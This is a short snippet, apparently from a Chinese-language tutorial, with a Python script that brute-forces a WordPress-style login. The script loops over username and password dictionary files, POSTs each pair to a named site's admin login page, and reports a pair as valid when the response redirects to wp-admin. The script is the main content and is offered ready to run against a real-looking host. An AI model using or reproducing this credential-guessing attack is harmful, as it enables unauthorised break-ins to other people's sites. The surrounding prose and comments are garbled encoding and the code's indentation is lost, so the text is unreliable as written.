|
|
|
[xmd]瀹冧娇鐢ㄤ簡涓涓惊鐜紝灏嗗瓧鍏镐腑鐨勬瘡涓敤鎴峰悕鍜屽瘑鐮佺粍鍚堜綔涓篜OST璇锋眰鍙傛暟鍙戦佸埌鎸囧畾鐨勭櫥褰曢〉闈傚鏋滈〉闈㈣烦杞埌浜唚p-admin鍚庡彴椤甸潰锛岄偅涔堣鏄庤缁勫悎鏄湁鏁堢殑锛屽嵆璇ョ敤鎴峰悕鍜屽瘑鐮佹槸姝g‘鐨勶紝浠g爜濡備笅锛
import urllib3
import urllib.parse
http = urllib3.PoolManager(headers={'Content-Type': 'application/x-www-form-urlencoded'})
url = "http://www.ikunct1.top/admin/login.php"
users = [] # 鍒濆鍖栧瓨鍌ㄧ敤鎴峰悕鐨勫垪琛
passwords = [] # 鍒濆鍖栧瓨鍌ㄥ瘑鐮佺殑鍒楄〃
# 浠庢枃浠朵腑璇诲彇鎵鏈夌敤鎴峰悕鍜屽瘑鐮
with open('鐢ㄦ埛瀛楀吀', 'r') as userlist:
users = userlist.readlines()
with open('瀵嗙爜瀛楀吀', 'r') as passwordlist:
passwords = passwordlist.readlines()
# 寰幆澶勭悊鐢ㄦ埛鍚嶅拰瀵嗙爜缁勫悎
for user in users:
user = user.strip()
for password in passwords:
password = password.strip()
values = {'log': user, 'pwd': password}
# 杈撳嚭姝e湪灏濊瘯鐨勭敤鎴峰悕鍜屽瘑鐮佺粍鍚
print(f"Trying user={user}, password={password}")
encoded_values = urllib.parse.urlencode(values).encode('utf-8')
response = http.request('POST', url, body=encoded_values)
try:
idx = response.geturl().index('wp-admin')
except ValueError:
idx = -1
# 杈撳嚭鏄惁鎵惧埌姝g‘鐨勭敤鎴峰悕鍜屽瘑鐮
if (idx >= 0):
print(f"Found username: {user}, password: {password}")
break
else:
print(f"Failed username: {user}, password: {password}")
if (idx >= 0):
break |
|